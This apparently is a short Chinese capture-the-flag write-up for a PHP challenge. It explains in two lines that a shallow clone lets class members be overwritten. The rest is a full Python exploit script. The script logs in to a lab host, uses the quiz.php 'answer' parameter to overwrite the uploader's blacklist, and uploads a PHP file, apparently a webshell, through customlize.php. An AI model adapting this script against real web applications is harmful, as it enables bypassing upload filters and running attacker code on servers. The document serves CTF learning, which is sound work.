one

得到源码，突破点为：

clone的复制是浅复制

也就是我们可以覆盖这个类中的一些元素, 那么看一下这个$user怎么传

我们既然可以覆盖元素, 那么比如

EXP

import requests
import re

url = "http://192.168.2.106:4000/"
sess = requests.Session()

def login():
    sess.get(url)
    data = {
        "username": "cjm00n"
    }
    sess.post(url, data=data)
def cover(user):
    params = {
        "answer": user
    }
    resp = sess.get(f"{url}quiz.php", params=params).text
    print(resp)
def upload():
    files = [
        ("file", ("1.php", open("1.php").read()))
    ]
    resp = sess.post(f"{url}customlize.php?refer=index", files=files).text
    print(resp)

def exp():
    login()
    cover("user->uploader->black_list")
    upload()

if __name__ == "__main__":
    exp()